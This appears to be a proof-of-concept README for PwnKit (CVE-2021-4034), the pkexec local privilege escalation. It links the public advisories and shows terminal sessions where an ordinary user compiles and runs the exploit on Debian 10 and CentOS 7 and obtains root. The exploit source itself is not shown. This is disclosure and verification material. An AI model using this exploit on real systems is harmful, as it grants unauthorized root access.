2022-01-26 03:05:00 +02:00
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# CVE-2021-4034
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2022-01-26 07:23:20 +02:00
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PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)
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2022-01-26 03:05:00 +02:00
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2022-01-26 09:38:31 +02:00
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https://seclists.org/oss-sec/2022/q1/80
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2022-01-26 03:05:00 +02:00
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https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
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# PoC
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Verified on Debian 10 and CentOS 7.
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```
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user@debian:~$ grep PRETTY /etc/os-release
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PRETTY_NAME="Debian GNU/Linux 10 (buster)"
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user@debian:~$ id
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uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
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user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
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user@debian:~$ ./cve-2021-4034-poc
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# id
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uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)
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```
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```
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[user@centos ~]$ grep PRETTY /etc/os-release
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PRETTY_NAME="CentOS Linux 7 (Core)"
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[user@centos ~]$ id
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uid=11000(user) gid=11000(user) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
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[user@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
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[user@centos ~]$ ./cve-2021-4034-poc
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sh-4.2# id
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uid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
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sh-4.2# exit
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```
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